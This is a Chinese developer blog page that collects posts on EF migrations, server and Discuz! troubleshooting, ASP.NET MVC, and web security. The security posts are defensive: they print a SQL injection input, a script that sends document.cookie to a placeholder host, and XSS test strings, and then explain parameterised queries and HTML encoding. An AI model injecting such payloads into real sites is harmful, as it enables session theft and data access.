博客 (175)

如果我们直接更改模型的属性名,在迁移的时候会报错:

Data\DbInitializer.cs(,): error CS0117: '表' does not contain a definition for '新列名'


原因是它无法判断是把什么列名更改为什么列名(比如一次改多列呢),那么我们需要用 [Column("列名")] 来映射


方法一:

先加上 [Column("新列名")] ,执行迁移

再修改模型的属性名并删除 [Column("新列名")],执行迁移


方法二:

先加上 [Column("原列名")] ,同时修改模型的属性名,执行迁移,

再删除 [Column("原列名")],执行迁移


xoyozo 8 年前
4,614

本文不定时更新!


A: MySQL 执行 SHOW FULL PROCESSLIST 

Q: 查看连接数和慢查询,适用于 MySQL 数据库无法连接 1040


A: iftop -i eth0

Q: 查看占用带宽的IP(命令:iftop -i eth0 -F ip/24),添加到安全组、防火墙、宝塔的黑名单中。

命令 grep -l "x.x.x.x" /www/wwwlogs/*.log 可以在 wwwlogs 目录下的所有 .log 文件中查找指定的恶意 IP。


A: goaccess -f xxx.log

Q: 实时分析网站日志,查看请求最多的IP


A: net.xoyozo.weblog 日志分析工具

Q: 自制的 Web 日志分析工具,可按多种方式排序,纠出可疑访问


A: 重启 web 服务器

Q: 有时候能解决 CPU 和内存消耗的问题,如果一会儿又升高,则需要找另外的原因


Q: 500 服务器内部错误

502 Bad Gateway

504 Gateway Time-out

A: 查看 php 日志,可能的路径:

/usr/local/php/var/log/php-fpm.log

/www/server/php/[版本]/var/log/php-fpm.log


Q: RDS MySQL IOPS 使用率高的原因和处理

A: 根据时间点查看慢查询


Q: Discuz! 论坛界面错乱、表情不显示、模块缺失、登录失败、发帖失败等等

A: 进入管理中心 - 工具 - 更新缓存,能解决大部分问题


Q: Discuz! 浏览帖子提示“没有找到帖子

A: 进入数据库,修复表 pre_forum_post 或分表


Q: CPU 100% 或内存 100%,负载100+

A: 原因有很多,以下是一些建议:

Windows 在任务管理器中查看进程

当前是否有正常的大流量访问(譬如民生类论坛的某个帖子突然火了)特别是重启无效的情况

对比网站日志大小可大致确定哪个网站被大量恶意请求。

观察:命令 top

排查:通过关闭网站来确定是某网站的问题,通过关闭功能确定是某功能的问题,如果 nginx 崩溃请参下条

案例:通过修改 mobcent 文件夹名确定是安米的文件被疯狂请求导致的,更新插件和 mobcent 包解决问题。

如果都是正常访问,top 看到很多 php-fpm,而且个个占用 CPU 还不小,那么根据服务器硬件配置来修改 php 的并发量,如宝塔面板在 php 设置 - 性能调整 页,300 并发方案的推荐配置是:

max_children:300
start_servers:30
min_spare_servers:30
max_spare_servers:180

另外,memcached 或 redis 的配置也可以进行相应的修改。

另一个案例是 kswapd0 进程占满 CPU,原因是内存不足导致 swap 分区与内存频繁交换数据。同样调整 php 的设置即可。

也可以通过 iftop 来查询占用带宽较多的 IP 并封禁(出方向),如果 CPU 能降下来,那这个 IP 就是罪魁祸首。


Q: 阿里云 ECS 的 CPU 突然达到 100%,并持续到次日 0:00 左右

A: 可能 ECS 是 t5 规格,受 CPU 积分制度限制,积分耗尽时 CPU 不工作。解决方法是更换其它规格产品或升配。


Q: ASP.NET 所在服务器 CPU 突然达到 50% 或 100%,并持续

A: 首先确定哪个网站,再依次排查网站各功能。可能是 HttpWebRequest 请求远程数据时长时间未返回结果导致的程序阻塞。


Q: nginx 服务停止

A: 查看 nginx 日志

WDCP 路径:/www/wdlinux/nginx-1.0.15/logs/error.log


Q: 公网出带宽 100%,其它指标正常

A: Windows 在任务管理器-性能-资源监视器-网络 查看占用带宽的进程PID,然后在任务管理器-详细信息中的找到对应的用户(如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽);如果是被 PID 为 4 的 System 占用大部分带宽,也可以尝试重启 IIS 来解决。

CentOS 使用 nethogs 查看占用带宽的进程PID和USER,如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽,否则只能一个个关闭网站来判断,不知道大家有没有好的方法?当然还可以直接用 iftop 命令查看占用带宽的 IP。另外,查看每个网站在那个时间段的日志文件的大小也能大概看出是哪个网站被采集了。


A: Linux 显示每个用户会话的登入和登出信息

utmpdump /var/log/wtmp

参考:http://www.tulaoshi.com/n/20160331/2050641.html


Q: RDS 的 CPU 100%

A: 如果是突然持续占满(同时伴随 ECS 资源使用率下降,页面出现 502),很大可能是受攻击(或社交网站推送突发事件等),查看“慢查询”,添加相关索引;如果是 Discuz! 论坛,可尝试修复优化表 pre_common_session。

如果是数日缓步上升,或新项目上线,考虑 SQL 慢查询,思路:MySQL / SQL Server

MySQL:SHOW FULL PROCESSLIST

SQL Server:sp_who


Q: php 网站的服务器,内存在数天内缓慢上升

A: 大概是 php-fpm 占用过多,或进程数太多

更改 php 的配置(如 max_spare_servers),执行:service php-fpm reload


Q: 进程 cloudfs 占用内存过多

A: 参:https://xoyozo.net/Blog/Details/cloudfs-cache


Q: RDS 磁盘占用过大

A: 参:https://xoyozo.net/Blog/Details/how-to-use-rds


Q: ECS 受到 DDoS 攻击怎么办?

A: 参:https://xoyozo.net/Blog/Details/aliyun-ddos-without-bgp


Q: 如果 ECS 和 RDS 各项指标都没有异常,但网页打开慢或打不开502,TTFB 时间很长,是什么原因?(ECS 的 CPU 100%,RDS 的连接数上升,也可参考此条)

A: 数据库有坏表,尝试优化/修复表(慢 SQL 日志中锁等待时间较长的表?),或主备切换。show full processlist 时看到许多

DELETE FROM pre_common_session WHERE  sid='******'  OR lastactivity<******  OR (uid='0' AND ip1='*' AND ip2='*' AND ip3='*' AND ip4='*' AND lastactivity>******)


Q: Discuz! 创始人(站长)密码被改

A: 数据库找到 pre_ucenter_members 表,复制其它的已知登录密码的账号,复制其 password 和 salt 两个字段的值到创始人账号中,创始人账号即可用该密码登录了。


xoyozo 8 年前
7,997

示例:

<form action="javascript:fn_submit()">
  <div>
    手机号码:
    <input type="tel" required="required" pattern="1\d{10}" title="手机号码由以1开头的11位数字组成" />
  </div>
  <div>
    身份证号码:
    <input type="text" required="required" pattern="\d{17}[\dX]" title="身份证号码由18位数字或17位数字加字母X组成" />
  </div>
  <div>
    <input type="submit" value="提交" />
  </div>
</form>

<script>
  function fn_submit() {
    alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
  }
</script>

form 的 action 使用 javascript 调用 fn_submit 方法,在这个方法内可以使用 jQuery 的 ajax 来 POST 数据,当然还可以搭配使用 HTML5 的 FormData。这样相比于直接在 submit 按钮上写事件的好处是可以用到 HTML5 的表单验证功能,并且不会重载页面。


Vue 版本:

<form v-on:submit="fn_submit" method="dialog">
</form>
var app = new Vue({
    el: '#app',
    methods: {
        fn_submit: function () {
            alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
        }
    }
});


xoyozo 8 年前
5,857

论坛使用阿里云的 ECS + RDS + OSS 搭建,最近经常隔三差五出现 RDS 的 CPU 和连接数突然满负荷的情况,导致数据库无法连接。这种情况一般会认为是受到了攻击,因为如果是访问量大或者是哪里有慢查询,应该是资源消耗逐步上升直至崩溃的,沿着这个思路去查 Web 日志封 IP,但效果不大,关闭功能、卸载插件也没用。

开启阿里云后台的 SQL 审计,能看到 SQL 查询日志,但是很难找有问题的 SQL。

最终在重启 RDS 后执行以下语句列出所有正在执行或阻塞的语句:

show full processlist

在结果列中,Command 为 Query 是正在执行查询操作的语句,发现几乎所有的 SQL 都是:

SELECT * FROM pre_forum_thread WHERE tid>0 AND fid IN('42','95','247','41','567','62','149','229','37','230','93','190','284','75','38','568') AND `fid`<>'546' AND replies > 0 AND displayorder>=0 ORDER BY lastpost DESC  LIMIT 10

再加上之前出现的情况是,论坛帖子列表和详情页面能正常打开时,论坛首页也不一定能打开,所以基本定位到是“首页四格”的数据库查询导致的。

进入论坛后台首页四格设置,对比了版块 id 后确认了这个 bug。

单独执行该语句大约耗时 5s(主题帖 200 万),设置的缓存时间 10 分钟。

processlist 中看到这些语句的 state 都是 Creating sort index,尝试去掉 ORDER BY 后执行果然只需要 16ms。

5s 内的访客都是从数据库读取的,能处理完就正常,否则累积就导致 RDS 崩溃,每 10 分钟都会重现一次风险。

当然这个问题可以通过添加索引来解决。

xoyozo 8 年前
6,578

新建项目

使用 VS2017 / VS2015 新建项目 - ASP.NET Web 应用程序 - MVC - 个人身份验证

添加模型

右击 Models 文件夹,添加 Movie

using System;
using System.Data.Entity;

namespace MvcMovie.Models
{
    public class Movie
    {
        public int ID { get; set; }
        public string Title { get; set; }
        public DateTime ReleaseDate { get; set; }
        public string Genre { get; set; }
        public decimal Price { get; set; }
    }

    public class MovieDBContext : DbContext
    {
        public DbSet<Movie> Movies { get; set; }
    }
}

Movie 类表示一部电影,一个对象实例对应数据库中一行,每个属性对应表中一列。

MovieDBContext 代表 EF 数据库上下文,处理抓取、存储、更新。

创建连接字符串和使用 SQL Server 

打开 Web.config

在 <configuration /> 中的 <connectionStrings /> 中添加

<add name="MovieDBContext" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename=|DataDirectory|\Movies.mdf;Initial Catalog=Movies;Integrated Security=True"
      providerName="System.Data.SqlClient" />

name 必须与 DbContext 类的名称匹配(MovieDBContext)

这步将会把数据库文件 Movies.mdf 创建到 App_Data 文件夹中,你也可以使用其它 SQL Server 数据库的连接字符串,简单的方法是:

在“服务器资源管理器”中添加连接

从右击属性中获取连接字符串

从控制器访问模型的数据

右击 Controllers 文件夹添加控制器,选择 包含视图的 MVC 5 控制器(使用 Entity Framework)

模型类:Movie (MvcMovie.Models)

数据上下文类:MovieDBContext (MvcMovie.Models)

F5 运行,访问 /Movies 可添加、查看、编辑、删除影片

添加新字段

设置模型更改的 Code First 迁移

程序包管理器控制台窗口中,在 PM> 提示符下输入

Enable-Migrations -ContextTypeName MvcMovie.Models.MovieDBContext

在 Migrations 文件夹中新建了 Configurations.cs,打开并在 Seed 方法中加入

context.Movies.AddOrUpdate(i => i.Title,
  new Movie
  {
    Title = "When Harry Met Sally",
    ReleaseDate = DateTime.Parse("1989-1-11"),
    Genre = "Romantic Comedy",
    Price = 7.99M
  },
  new Movie
  {
    Title = "Ghostbusters ",
    ReleaseDate = DateTime.Parse("1984-3-13"),
    Genre = "Comedy",
    Price = 8.99M
  }
);

Seed() 将在每次迁移(PM>update-database)后被调用执行,AddOrUpdate 将执行 upsert 操作(有则 update,无则 insert)

AddOrUpdate 的第一个参数指定用于检查行是否已存在的属性

如果该属性值不唯,则出现异常

序列包含多个元素

创建迁移命令:

PM>add-migration Initial

名称“Initial”是任意的

执行迁移:

PM>update-database

F5 运行将显示种子数据

向 Movie 模型添加 Rating 属性

向 Movie 类添加属性,生成

public string Rating { get; set; }

CreateEdit Action 方法的 Bind 属性添加 Rating

更改各视图支持新的 Rating 属性

此时 F5 运行将提示

System.InvalidOperationException:“支持“MovieDBContext”上下文的模型已在数据库创建后发生更改。请考虑使用 Code First 迁移更新数据库(http://go.microsoft.com/fwlink/?LinkId=238269)。”

要解决错误除了手动往数据库中添加 Rating 字段外可以利用 Code First 迁移:

更新 Migrations\Configuration.cs 给每个 Movie 对象添加一个 Rating 字段

PM>add-migration Rating

名称 Rating 是任意的

创建了 DbMigration 的派生类 Rating,可以看到添加新列的代码

PM>update-database

数据库自动完成了对新字段的添加,当然 update-database 也会把种子数据还原。

参考

Getting Started with ASP.NET MVC 5

 

xoyozo 8 年前
3,885

互联网项目里边,SQL 注入漏洞XSS 漏洞猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。

这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得输入里的单引号进行转义

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说,假设页面输出为:

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。

要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。

最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

R
转自 Reginald 8 年前
4,328

XSS (跨站脚本攻击)虽然手段初级,但网站开发者稍不留神就会给黑客留下机会。在 ASP.NET 中,默认阻止了表单文本中的危险字符(譬如 HTML 标签),但有时为了功能需求,我们需要在服务端获取用户输入的任何文本或者富文本编辑器的内容,那么首先应该使用 JS 将数据进行 HTML 编码。

将以下测试文本填入到多行文本框内:

&a=1
'">ABC<'"
</pre>PRE<pre>
</textarea>AREA<textarea>
<script>alert(1)</script>

或将以下测试文本填入到单行文本框内:

&a=1'">a< /input>b<input value='"c<script>alert(1)</script>

使用 jQuery 异步 POST 方式提交到服务端:

$.post("post.aspx", {
  myData: $("#myTextarea").val()
}, function (data) {
  console.log(data);
}, 'text');

这时,post.aspx 将返回 500 内部服务器错误:

从客户端(......)中检测到有潜在危险的 Request.Form 值。

将提交代码稍作改动,把 POST 数据进行 HTML 编码

$.post("post.aspx", {
  myData: $('<div />').text($("#myTextarea").val()).html()
}, function (data) {
  console.log(data);
}, 'text');

这样,服务端接收到的 myData 值应该是:

&amp;a=1
'"&gt;ABC&lt;'"
&lt;/pre&gt;PRE&lt;pre&gt;
&lt;/textarea&gt;AREA&lt;textarea&gt;
&lt;script&gt;alert(1)&lt;/script&gt;

顺利通过 ValidateRequest 的检验。

我们在服务端对其进行一次 HTML 解码

string myData = HttpUtility.HtmlDecode(Request.Form["myData"]);
// 接收时,去首尾空格、去 null
string myData = HttpUtility.HtmlDecode(Request.Form["myData"]?.Trim() ?? "");

客户端的编码和服务端的解码是一对互操作。

我们把用户输入的原始内容存入数据库中。

页面输出时,必须要经过 HTML 编码,否则内容将被解释成 HTML,出现跨站攻击漏洞。下面列出常见的输出到页面的方法(注意区分 <%=<%:<%# 与 <%#:)。这样,浏览器中查看源代码看到的即是 HTML 编码的内容,渲染后看到的即是原本在输入框中输入的原文。

// WebForm 输出到 div
<div><%: myData %></div>

// WebForm 输出到 pre
<pre><%: myData %></pre>

// WebForm 输出到文本脚本
<script type="text/plain"><%: myData %></script>

// WebForm 输出到单行文本框
<input type="text" value='<%: myData %>' />

// WebForm 输出到多行文本框
<textarea><%: myData %></textarea>

// WebForm 赋值到 <asp:TextBox /> (不需要手动 HtmlEncode)
input_myData.Text = myData;

// WebForm 绑定到数据控件
<%#: Eval("myData") %>

// MVC Razor
@Html.DisplayFor(model => model.myData)
// 或
@Model.myData

<%: 会自动替换 "'&quot;&#39;,不用担心输出到 <input /> 的 value 属性中会产生问题。

如果数据由 <textarea /> 提供并希望在输出时保持换行,那么先执行 HtmlEncode,再替换换行符:

// WebForm 输出到 div
<div><%= HttpUtility.HtmlEncode(myData)?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %></div>

// WebForm 输出到 pre(无须处理换行)
<pre><%: myData %></pre>

// WebForm 绑定到数据控件
<%# HttpUtility.HtmlEncode(Eval("myData"))?.Replace(" ", "&nbsp;").Replace("\r\n", "<br />").Replace("\r", "<br />").Replace("\n", "<br />") %>

更特殊的例子:

// WebForm 输出到 Highcharts
var chart = Highcharts.chart('container', {
  title: {
    text: $('<div />').html('《<%: exam.title.Replace("\r", "").Replace("\n", "") %>》问卷回收量').html()
  },
  ...
});

// 导出 Excel 时指定文件名(会自动替换非法字符)
Response.AddHeader("Content-Disposition", string.Format("attachment; filename={0}.xls", exam.title));

如果我们使用在线编辑器来编辑我们的内容,需要在浏览输出时实现“所见即所得”,那么就需要将原文输出到源代码,渲染后展示效果:

// ASPX
<%= myData %>

// Razor
@Html.Raw(Model.myData)

务必保证是网站编辑人员在授权登录下提交在线编辑器的内容,否则可能成为跨站攻击的漏洞。通常不建议普通网友使用在线编辑器,如一定要用,必须处理一些危险的标签,参此文


总结

客户端输入的原文,经过 JS 的 HTML 编码传输到服务器,HTML 解码后存入数据库,读取展示时 HTML 编码输出(在线编辑器的内容不需要编码)。


建议

如果我们对所有输入的字符串作以上编码解码的处理想必是非常繁琐且容易出错的。微软提供了 ValidateRequest,不用不是太浪费了?

对于普通的文本框输入,我们省略 JS 端的 HTML 编码,省略服务端的 HTML 解码即可,输出仍然按文中描述处理。

好的用户体验是在 Request.Form["xxx"] 时进行容错处理并返回客户端友好提示。

我们仅针对在线编码器及需要以代码为内容的数据提交进行编码、解码处理,以绕过 ValidateRequest。


顺便提一下,千万不要这样写:

<%= Request.QueryString["xxx"] %>

千万不要动态拼接 SQL 语句,防止 SQL 注入。

xoyozo 8 年前
4,760

收录了一些个人觉得不错的网页开发插件。

由于插件更新频繁,本页如有错误请指正,也欢迎告知更多功能强大、使用方便的插件。

插件简介备注
框架
jQuery最流行的 JS 框架

下载中文文档英文整合文档中文整合文档浏览器支持来自 css88 的文档

官方建议 IE 6-8 使用 1.12.4

Angular中文版
AngularJS (version 1.x)
一套框架,多种平台同时适用手机与桌面MVC 架构,使得开发现代的单一页面应用程序(SPAs:Single Page Applications)变得更加容易
Vue.js是一套用于构建用户界面的渐进式框架。
Bootstrap中文版简洁、直观、强悍的前端开发框架英文文档v3中文文档v2中文文档视频教程主题和模板
jQuery UI为 jQuery 提供更丰富的功能示例:DatepickerColor AnimationShake Effect
功能
jQuery File UploadjQuery 文件上传英文文档
jQuery Cookie读取、写入和删除 cookie浏览器支持文档
json2.jsjson 操作库已弃用,旧 IE 用 jQuery 的 parseJSON,HTML 5 用 JSON.parse
Lightbox

老牌图片浏览插件

推荐使用更强大的 Viewer.js

 
Swiper中文版最现代的移动触摸滑块(Most Modern Mobile Touch Slider)英文文档中文文档,旧浏览器支持版本:2.x.xSwiper 2 英文文档中文文档
jquery-cropper图片裁剪
FastClick用于消除手机浏览器上触摸事件触发之间的 300 毫秒延迟用法不应用的场景
PACE页面加载进度条文档,IE8+
toastrjQuery 通知文档
Autosize一款小巧的,可自动调整 textarea 高度的独立脚本IE9+
X-editable允许您在页面上创建可编辑元素文档Demo
select2一款提供搜索过滤、自定义样式的下拉框插件
jQuery Tags Input标签输入框
用法
Viewer.js图片浏览插件

GitHub(viewerjs)GitHub(jquery-viewer)

jquery-viewer 是 viewerjs 的 jQuery 插件,即在 jQuery 环境中要同时引用这两个脚本。

PDF.jsA general-purpose, web standards-based platform for parsing and rendering PDFs.
编辑器
UEditor百度在线编辑器GitHub 下载文档ASP.NET 部署教程
日期时间
bootstrap-datepickerBootstrap 日期选择器Online Demo
DateTimePicker日期时间选择 
MultiDatesPicker多日期选择 
FullCalendar日历日程事件工作表IE 9+, jQuery 2.0.0+
TimeTo计时、倒计时 
图表
D3.jsD3.js 是基于数据驱动文档工作方式的一款 JavaScript 函数库,主要用于网页作图、生成互动图形,是最流行的可视化库之一。
Highcharts中文版兼容 IE6+、完美支持移动端、图表类型丰富、方便快捷的 HTML5 交互性图表库文档
ECharts百度图表控件 
AntV来自蚂蚁金服的专业、简单、无限可能的可视化解决方案
G2 - 专业易用的可视化类库
G2-mobile - 移动端高性能可视化类库
G6 - 关系图可视化类库
流程图, 关系图, 可视化规范, 地图, 河流图, 力导图, 网络图, UML图, 业务流程图, 时序图
SyntaxHighlighter功能齐全的代码语法高亮插件(JS) 
动态排名数据可视化

将历史数据排名转化为动态柱状图图表

开源代码,非插件,修改使用

GitHub视频教程EV录屏网页示例视频效果
图标
Font Awesome完美的图标字体IE 8+v3.2.1 支持 IE 7进阶用法(定宽/边框/动画/旋转/叠加)
Glyphicons图标字体作为 Bootstrap 组件
Iconfont阿里巴巴矢量图标库用户可以自定义下载多种格式的 icon,也可将图标转换为字体,便于前端工程师自由调整与调用
UI 框架
WeUI同微信原生视觉体验一致的基础样式库DemoWiki
Apple UI Design Resources苹果用户界面设计资源 
xoyozo 8 年前
9,617

若在谷歌浏览器中记住密码,再次打开时,表单中自动填充的文本框和下拉框都变成了黄色背景,影响界面美观,可以使用以下样式修正:

/* Change Autocomplete styles in Chrome*/
input:-webkit-autofill,
input:-webkit-autofill:hover, 
input:-webkit-autofill:focus
input:-webkit-autofill, 
textarea:-webkit-autofill,
textarea:-webkit-autofill:hover
textarea:-webkit-autofill:focus,
select:-webkit-autofill,
select:-webkit-autofill:hover,
select:-webkit-autofill:focus {
  border: 1px solid green;
  -webkit-text-fill-color: green;
  -webkit-box-shadow: 0 0 0px 1000px #000 inset;
  transition: background-color 5000s ease-in-out 0s;
}

具体样式请自行修改。

参考资料:https://css-tricks.com/snippets/css/change-autocomplete-styles-webkit-browsers/

xoyozo 8 年前
4,609

对于大型站点,庞大的主题和帖子数据,分表放到一个主题表和一个帖子表中,已经成为影响性能的一个因素。因此,急需进行分表操作来避免 MySQL 对于大数据表的频繁操作。
1、后台分表
       Disucz! X2 后台重新调整了分表的机制,使得分表效率和后期站点性能得到提升。具体分表设置在 后台 -> 站长 -> 主题分表(帖子分表)。
      1)主题分表
           主题分表分为两种类型,一种为主表,一种为存档表。主表只有一个,存档表可以有多个。我们进行分表操作,首先进行创建存档表的操作,然后进行主题移动,将指定条件的主题移动到存档表中。
           a、创建存档表
                打开 source/admincp/admincp_threadsplit.php 文件,找到创建存档表的条件分支

  1. elseif($operation == 'addnewtable')

复制代码

              首先获取当前最大的主题表 id ,然后根据 forum_thread 的建表语句,生成新的存档表(id + 1),最后更新缓存。
          b、主题移动
               存档表建好后,下一步就是将主题移动到这个存档表中。在选择主题的时候,可以根据提供的搜索条件,特别是“更多选项”中的搜索条件,来转移符合条件的主题。这里主要是一个搜索的过程,转移数据的过程使用 REPLACE INTO … SELECT...FROM... 语句,比较简单。
      2)帖子分表
           帖子分表也是要分成两步,第一步先创建帖子分表,第二步转移数据。
           打开 source/admincp/admincp_postsplit.php 文件,找到帖子分表的条件分支

  1. elseif($operation == 'split')

复制代码

         如果是对主表进行分表操作,主表必须要大于400M,见下面的条件判断  

  1. if($status && ((!$tableid && $status['Data_length'] > 400 * 1048576) || ($tableid && $status['Data_length'])))

复制代码

        在站长提交分表表单后,程序会先根据 getmaxposttableid 函数获取当前帖子表最大的 id ,然后根据已有的帖子表结构,创建新分表,并更新缓存等信息。创建成功后,开始转移数据的操作。找到条件分支

  1. elseif($operation == 'movepost')

复制代码

,开始转移数据的操作。当从主表中转移数据时,是根据主题表中最后回复时间正序排列的主题 tid 来获取帖子数据的。  

  1. $query = DB::query("SELECT tid FROM ".DB::table($table)." WHERE posttableid='0' AND displayorder>='0' ORDER BY lastpost LIMIT 0, 1000");

复制代码

然后,利用 movedate 函数进行转移数据。
  当从从表中转移数据时,是根据给定帖子表的 id,获取此表中first=1的帖子所属 tid,  

  1. $query = DB::query("SELECT tid FROM ".DB::table(getposttable($fromtableid))." WHERE `first`='1' LIMIT 0, 1000")

复制代码

然后利用 movedate 函数进行转移数据。
  在 movedate 函数中,根据获取到的 tid ,将属于此 tid 的帖子,利用 INSERT INTO … SELECT … FROM ...来转移数据。在此过程中,更新主题表中 posttableid 这个字段,来标识帖子的存储表。
2、主题列表页分表读取
      在主题列表页,只能看到主题主表中的主题。存档表中的主题都在存档区。
      在这部分的代码(source/module/forum/forum_forumdisplay.php)中,所有涉及到的主题表都以 $threadtable 这个变量代替,$threadtable 这个变量的获取,又是根据用户是否查看存档区的标识 archiveid 来判定。
 

  1. $threadtable = $_G['gp_archiveid'] && in_array($_G['gp_archiveid'], $threadtableids) ? "forum_thread_{$_G['gp_archiveid']}" : 'forum_thread';

复制代码

当用户选择非存档内容时,archiveid = 0 或者不存在,这时,直接从 forum_thread 主表来读取主题列表。当用户选择存档内容时,archiveid = 1(1 表示存档表的 id,如果查看 id 为 2 的存档表,archiveid = 2),程序会根据 archiveid  来判断从哪个存档表中去获取主题列表。
3、帖子内容页分表读取
     当用户浏览帖子内容页时,程序首先利用 loadforum 函数来获取当前的主题信息。在 loadforum 函数中,

  1. $_G['thread'] = get_thread_by_tid($tid, '*', $addcondiction, $archiveid);

复制代码

根据提供的 tid,get_thread_by_tid 函数到主表和存档表中分表去查找,直到找到对应的主题信息。
在 source/module/forum/forum_viewthread.php 文件中,根据

  1. $thread = & $_G['forum_thread'];

复制代码

  1. $threadtable = $thread['threadtable'];
  2. $posttableid = $thread['posttableid'];
  3. $posttable = $thread['posttable'];

复制代码

这两句来判定该主题应该去哪个帖子表中去获取帖子内容列表。
4、发新主题
      发表新主题时,直接往主题主表中插入数据,对应的 posttableid = 0。然后,当插入帖子数据时,通过 insertpost 函数将数据插入帖子表中。
     在 insertpost 函数中,会先去判断所属主题的 posttableid 值,得到目标帖子表,然后再往该帖子表中插入帖子数据。
5、发新回复
     只有在主表的主题才能回复,因此,直接根据传递的tid去获取目标帖子表,然后插入数据。这个跟发新主题时,插入帖子内容过程相同。
6、编辑帖子
     同样,只有在主表中的主题的帖子才能被编辑,因此,主题都在 forum_thread 表中。需要获取的是该主题的帖子在哪个帖子表中。打开 source/include/post/post_editpost.php 文件,找到

  1. $posttable = getposttablebytid($_G['tid']);

复制代码

程序在开始,通过这条语句来获取目标帖子表。在 getposttablebytid 函数中,程序根据 tid ,逐个主题表进行查找,找到对应的主题信息,获取目标帖子表,然后指向后续的编辑帖子操作。
8、取消存档
     存在存档区的主题,如果想取消存档,可以通过页面底部的“取消存档”来执行。
     打开 source/include/topicadmin/topicadmin_restore.php 文件,可以看到取消存档,实际上仅是将放在存档表中的主题移动到了主表中。同样,存档表的获取还是通过 archiveid 这个参数来决定的。

  1. $threadtable = $archiveid ? "forum_thread_$archiveid" : 'forum_thread';

复制代码

从这可以看出,存档的概念仅限于主题,帖子无所谓存档的概念。

b
转自 beijing200808 14 年前
3,973